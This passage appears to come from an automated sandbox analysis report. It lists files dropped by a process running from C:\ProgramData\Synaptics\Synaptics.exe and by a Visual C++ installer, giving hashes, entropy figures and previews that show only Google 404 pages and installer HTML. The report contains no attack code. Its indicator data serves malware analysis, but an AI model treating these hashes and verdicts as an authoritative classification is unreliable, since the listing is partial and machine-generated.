Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="e4XHmMWCurIEh8jbwqqpnQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\MGXNPlW.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261904824646331
Encrypted:	false
SSDEEP:	24:GgsF+0kSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+D+pAZewRDK4mW
MD5:	DFF4EFEA34D2D818013559FA261D9592
SHA1:	A634D37DAC6E5590A5ED53D6DC4DDBCAE5820CDC
SHA-256:	5CFE72423E8D72CCFE3150E4EB0D5382E5EDC1D8D446AA32EB52D2B7C15ADEF5
SHA-512:	E981528D7219C1299EE292F2BC5D718DC1680414315B9C4063856163F51E5F27E2CB75B400A069823B9CC07CC48D55CE4AC6076EB7E07AFDE9970D6AC10748D0
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="pu4w0mJ0SVJOOrsIy3MWxw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\MIUKB6a.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.24941429541812
Encrypted:	false
SSDEEP:	24:GgsF+0h4SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+W4+pAZewRDK4mW
MD5:	2A5719D95A6CBBAB2463FABA099273C9
SHA1:	C056EDE6BA4C1929582D1516D10C4FEEA86BA474
SHA-256:	EC936EF972B10405BFBF664A7B7E146ABDA655477DA82051F660338F0AC9D0F4
SHA-512:	D5455863FCD356E7EFBCAE471F5A7669E9C59A05159714E99B206346E7833E9A87A2E339FD3DF0C239907764B578FC6EF0E76194803271BECE1D0BCC4DE27562
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="crW3LagFIOn8EugZu4ei1g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_20250102_142937283.html (copy)

Download File

Process:	C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe
File Type:	HTML document, Unicode text, UTF-16, little-endian text, with very long lines (322), with CRLF line terminators
Category:	dropped
Size (bytes):	29384
Entropy (8bit):	3.7121023497225725
Encrypted:	false
SSDEEP:	192:7Ddx3KOTczFQ21Kp4n5DTx1iDecPeLHLHQFJFjZWblWUxFzJzcKHjyh+4FrCakb:fdsOT01KcBUFJFEWUxFzvHelFrCakb
MD5:	690E4BF6EADC41B22069DF97D31C7E62
SHA1:	F2655F5EA6526AA2E7731705A82EADADCA885A21
SHA-256:	136E682F9A96BC5CBDA8DA35983EA273648302C7B363C1C05D548E4CF6A2D3E8
SHA-512:	EFA92C23B4440212AAB73F9BB8F6B670B29199F64190B0F2B5755C3DF219F9251126F44A710E3725A010A2A7CBA002A9929D80DA7A6CF2F890BA5CBE5F01C9B7
Malicious:	false
Preview:	..<.!.D.O.C.T.Y.P.E. .h.t.m.l. .P.U.B.L.I.C. .".-././.W.3.C././.D.T.D. .X.H.T.M.L. .1...1././.E.N.". .".h.t.t.p.:././.w.w.w...w.3...o.r.g./.T.R./.x.h.t.m.l.1.1./.D.T.D./.x.h.t.m.l.1.1...d.t.d.".>.....<.!.-.-. .T.h.e. .E.x.t.e.n.d.e.d. .C.o.p.y.r.i.g.h.t./.T.r.a.d.e.m.a.r.k. .L.a.n.g.u.a.g.e. .R.e.s.i.d.e.s. .A.t.:. .h.t.t.p.:././.w.w.w...m.i.c.r.o.s.o.f.t...c.o.m./.i.n.f.o./.c.p.y.r.t.I.n.f.r.g...h.t.m. .-.-.>.....<.h.t.m.l. .x.m.l.n.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.1.9.9.9./.x.h.t.m.l.".>.....<.h.e.a.d.>.......<.m.e.t.a. .h.t.t.p.-.e.q.u.i.v.=.".C.o.n.t.e.n.t.-.T.y.p.e.". .c.o.n.t.e.n.t.=.".t.e.x.t./.h.t.m.l.;. .c.h.a.r.s.e.t.=.u.t.f.-.1.6."./.>.<.b.a.s.e. .t.a.r.g.e.t.=."._.b.l.a.n.k."./.>.......<.s.t.y.l.e. .t.y.p.e.=.".t.e.x.t./.c.s.s.".>.........h.t.m.l.{.o.v.e.r.f.l.o.w.:.s.c.r.o.l.l.}.........b.o.d.y.{.f.o.n.t.-.s.i.z.e.:.1.0.p.t.;.f.o.n.t.-.f.a.m.i.l.y.:.V.e.r.d.a.n.a.;.c.o.l.o.r.:.#.0.0.0.0.0.0.;.b.a.c.k.g.r.o.u.n.d.-.c.o.l.o.r.:.#.F.0.F.0.F.0.}...........h.e.a.d.e.r.

C:\Users\user\AppData\Local\Temp\Pm7Tsio.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258295429965755
Encrypted:	false
SSDEEP:	24:GgsF+0Lv8SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+20+pAZewRDK4mW
MD5:	73B2852003122B961757DEC169B0CF1B
SHA1:	670D505423FECC6214E1DF97B240A8DED1520F19
SHA-256:	7B5A1F74DF74451C1AE7BF5751EB842173E37A16059EB3209030BD7D0B35CA7E
SHA-512:	96ED461AFFCBAD5071E7859CC00051300BCBC1E4E6BF1485C5CD6CE4DBF72662BC665C9A0AD436162956E9565C28C47EA523E982FDAF0CC460E3642AD4C6434D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9Tyr-dxo-cBzp6fP6TjDlA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Setup_20250102_142929626.html

Download File

Process:	C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe
File Type:	HTML document, Unicode text, UTF-16, little-endian text, with very long lines (322), with CRLF line terminators
Category:	dropped
Size (bytes):	29384
Entropy (8bit):	3.7121023497225725
Encrypted:	false
SSDEEP:	192:7Ddx3KOTczFQ21Kp4n5DTx1iDecPeLHLHQFJFjZWblWUxFzJzcKHjyh+4FrCakb:fdsOT01KcBUFJFEWUxFzvHelFrCakb
MD5:	690E4BF6EADC41B22069DF97D31C7E62
SHA1:	F2655F5EA6526AA2E7731705A82EADADCA885A21
SHA-256:	136E682F9A96BC5CBDA8DA35983EA273648302C7B363C1C05D548E4CF6A2D3E8
SHA-512:	EFA92C23B4440212AAB73F9BB8F6B670B29199F64190B0F2B5755C3DF219F9251126F44A710E3725A010A2A7CBA002A9929D80DA7A6CF2F890BA5CBE5F01C9B7
Malicious:	false
Preview:	..<.!.D.O.C.T.Y.P.E. .h.t.m.l. .P.U.B.L.I.C. .".-././.W.3.C././.D.T.D. .X.H.T.M.L. .1...1././.E.N.". .".h.t.t.p.:././.w.w.w...w.3...o.r.g./.T.R./.x.h.t.m.l.1.1./.D.T.D./.x.h.t.m.l.1.1...d.t.d.".>.....<.!.-.-. .T.h.e. .E.x.t.e.n.d.e.d. .C.o.p.y.r.i.g.h.t./.T.r.a.d.e.m.a.r.k. .L.a.n.g.u.a.g.e. .R.e.s.i.d.e.s. .A.t.:. .h.t.t.p.:././.w.w.w...m.i.c.r.o.s.o.f.t...c.o.m./.i.n.f.o./.c.p.y.r.t.I.n.f.r.g...h.t.m. .-.-.>.....<.h.t.m.l. .x.m.l.n.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.1.9.9.9./.x.h.t.m.l.".>.....<.h.e.a.d.>.......<.m.e.t.a. .h.t.t.p.-.e.q.u.i.v.=.".C.o.n.t.e.n.t.-.T.y.p.e.". .c.o.n.t.e.n.t.=.".t.e.x.t./.h.t.m.l.;. .c.h.a.r.s.e.t.=.u.t.f.-.1.6."./.>.<.b.a.s.e. .t.a.r.g.e.t.=."._.b.l.a.n.k."./.>.......<.s.t.y.l.e. .t.y.p.e.=.".t.e.x.t./.c.s.s.".>.........h.t.m.l.{.o.v.e.r.f.l.o.w.:.s.c.r.o.l.l.}.........b.o.d.y.{.f.o.n.t.-.s.i.z.e.:.1.0.p.t.;.f.o.n.t.-.f.a.m.i.l.y.:.V.e.r.d.a.n.a.;.c.o.l.o.r.:.#.0.0.0.0.0.0.;.b.a.c.k.g.r.o.u.n.d.-.c.o.l.o.r.:.#.F.0.F.0.F.0.}...........h.e.a.d.e.r.

C:\Users\user\AppData\Local\Temp\SkryHD7.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.271179337934484
Encrypted:	false
SSDEEP:	24:GgsF+0bSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+U+pAZewRDK4mW
MD5:	21ABF79DA5CFBDBD81BAE43B7DF9A86B
SHA1:	061EAF7AD41A08D5C6DC16132F8BDED6DB8C637F
SHA-256:	78F767E5DAA28F8928546372C6306E8557258490768B2140DAEB2AC2E27C5A16
SHA-512:	37F5B4C82125E4F2C7551159B9548C532D35022F1A682519D207993F42E81D83E28438C52E4368656C19C4194D45C0E5AE9D971EA1BB8CC2A4D32EE72AFFE147
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="EL02tItUBBjLEDbzZs4N4Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\UR7qPsr.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255338591118692
Encrypted:	false
SSDEEP:	24:GgsF+0sSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+j+pAZewRDK4mW
MD5:	B98C084240A71BE6337DBDF2961018BA
SHA1:	7781B2005F5E03CAED1219BF9BA6AA6232626F93
SHA-256:	E309CCF57C0365DFA320E6EE0A069F2EA754C245AF0AAB197E2DB4026FEA576E
SHA-512:	A48C581FA97FA55FE1E5736CC16DBB2721308E3EFE1523999B0F5EA8DD154F7B1D3BDFF1C1D41A90AB40E257DDC53C63FE00D541ED86D56A7383D37900A829C6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Hbzez5fzU6etV0XQnpNvcg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Uv5zwNs.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2651283976115355
Encrypted:	false
SSDEEP:	24:GgsF+0BdkSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK++dk+pAZewRDK4mW
MD5:	B325BCD25D049056AD0EDF5148FE731B
SHA1:	02449254FADDD2D02612AB45B4D6A443BD0DE7E3
SHA-256:	97B636532532DD29CECC5E9038C30690E1E86F8FF23A4BE9C4E408E41F04776F
SHA-512:	C45CB8E6C029FB6AEBB6C681CC3F73E873F4DCA2D5D6179135956D1DCC77E0C5A5F9653A71CFB31D59C129F8826CA16693B0D9B787C800B6A6683C3C509B9E9A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="6TOH9EHPlNP0MgaCgoUCcw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\VXIImEL.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264690092783497
Encrypted:	false
SSDEEP:	24:GgsF+089SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+/+pAZewRDK4mW
MD5:	537A29C41225CC53437EFE2ED66398A6
SHA1:	EDD4FCF2458C94F132056FFEFEAD14264D1DCA78
SHA-256:	BA2AF12CDEBAF3FBFF8A48912410134F41BD524556B8EDE8945370696FCC4F68
SHA-512:	8191DC71679CC3FBC8604B5AD256A88FDFAF6F363397036116C8848BCE12BC0046419040F1C91319D2FD00821637CC199145EF2237305A8BB90143978F9945AC
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="F_DdKjanoJGjTE-0FVmgMA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\XlOtT5I.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2669746009996965
Encrypted:	false
SSDEEP:	24:GgsF+0ywSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+tw+pAZewRDK4mW
MD5:	EA03BE47D379D3B5C1E3F645FF014B69
SHA1:	A9821301EB1FD90E24DAE9AF5EC5782F79620C5B
SHA-256:	49E4BC7F359BA9C5A06CFF6C39B026053C1A30DFCFE7D1E30CE72514D5C361E1
SHA-512:	1E5031680511C0DBAD69D0206A6B56E3D021A1EA4169994E59FA7CBB00CE2FE1BCAAC6860B626E21A2C9CBCE5106ABD9645CE883642D3C1A6682D26A5938CE08
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="v57-PstQ3yfPnJ6IKAfEPg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\XybzZcD.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254442290959029
Encrypted:	false
SSDEEP:	24:GgsF+0VSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+++pAZewRDK4mW
MD5:	FB46B669B4F8FF3C4776965A5CFA59A8
SHA1:	F7F03962519F0C8A2FE420689F72E5DCBCB8A4E8
SHA-256:	A57069AEAB49B0AC3A0B1AFBA7E8D698EA5D2BBEA33116EC287FEA09E62AD53A
SHA-512:	D0ED014EF390991DA5F26692A44573B9E4EDBD7F3AE303D2D887322750689A64BEE8CFCE5BF4666E22C8626197A172011B63E45BE79922B23F50BE6A6EAEB9DF
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="pQDX5-2-dp_Fk1VgVbtGxA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\dU7ZdIR.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255438798505019
Encrypted:	false
SSDEEP:	24:GgsF+0e4SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+k+pAZewRDK4mW
MD5:	8012FD49FC7714735F11EDD7360C56EF
SHA1:	635312D5095148B9579C1FB6CEBCA18EEFDC0176
SHA-256:	E50A7541864D6B34AE9FD399877FBAA59050C02051B7A12F32C961FC0C927AFD
SHA-512:	F3E548824E0A54D59ED0965792D5354CE1B868904513DDBEE52B415788F408C719D88678D5DF5248E70E8A09B9F84303B88A1E03A77F595038E2600A459386E5
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NEPg8zrwx1spXaZJeZNu3w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\euBl9US.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.246916367870839
Encrypted:	false
SSDEEP:	24:GgsF+0d5xSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+c5x+pAZewRDK4mW
MD5:	F986CCB98EC7E6CFAB59820F539B9619
SHA1:	ECA2BADCC1885482CAD1E3AE059CEF65EFFAB2E3
SHA-256:	2F5C86C06CE8F49C34F585D4EB12DBF061DF8CC712B4A487AFE153D533819FF9
SHA-512:	01D5683A3CC8EEC2491442FB7D9B4729554044B7E426B997E9D9E5781CEBD8262773795CF416AD3DB30325CFCAB22DBF85BA244387E5F5275BEE987A1A1B5268
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="rMggo3Tc2RokpMjfqH4d1g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\f9mTqjw.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.273974109035691
Encrypted:	false
SSDEEP:	24:GgsF+00SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+f+pAZewRDK4mW
MD5:	239B40444E493B0047ECDBD741854090
SHA1:	0133BBD814BD42B5AE8C509A7DB3B1D9274229B7
SHA-256:	D8E6F94C1063699E4DEE03D59C4FFC92646986190ACE6604E7431066EC0EF2D1
SHA-512:	A758DAA6C8626E8D841DF076D5917117B102E7757673FE558259D13E83E3D85FEBD9136AB0E20118107EEDC235D588A7CF75E047E512D12EA6F29058895564A6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="H2llTVP-OOz760yZJiPRBQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ffFBTtl.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26090581278965
Encrypted:	false
SSDEEP:	24:GgsF+0QISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+dI+pAZewRDK4mW
MD5:	D84B4AD4171E7E4091ACC2D4DAF14F2D
SHA1:	310B0EC98EC6CB57762C1CCA6E592858D0002B39
SHA-256:	D237D2C2C8CEF782EA8CB857139D4BBC01A99CFB0F1D9C6C5E5DBDD52DA42830
SHA-512:	B4F393C679A2BCE5D1369673E4D53A349D6975E2904353C5A449167BA3115AC3B521EBEFD2CB9B355765C25C91B7E561E15335B16640170A80A15191FA788A24
Malicious:	false
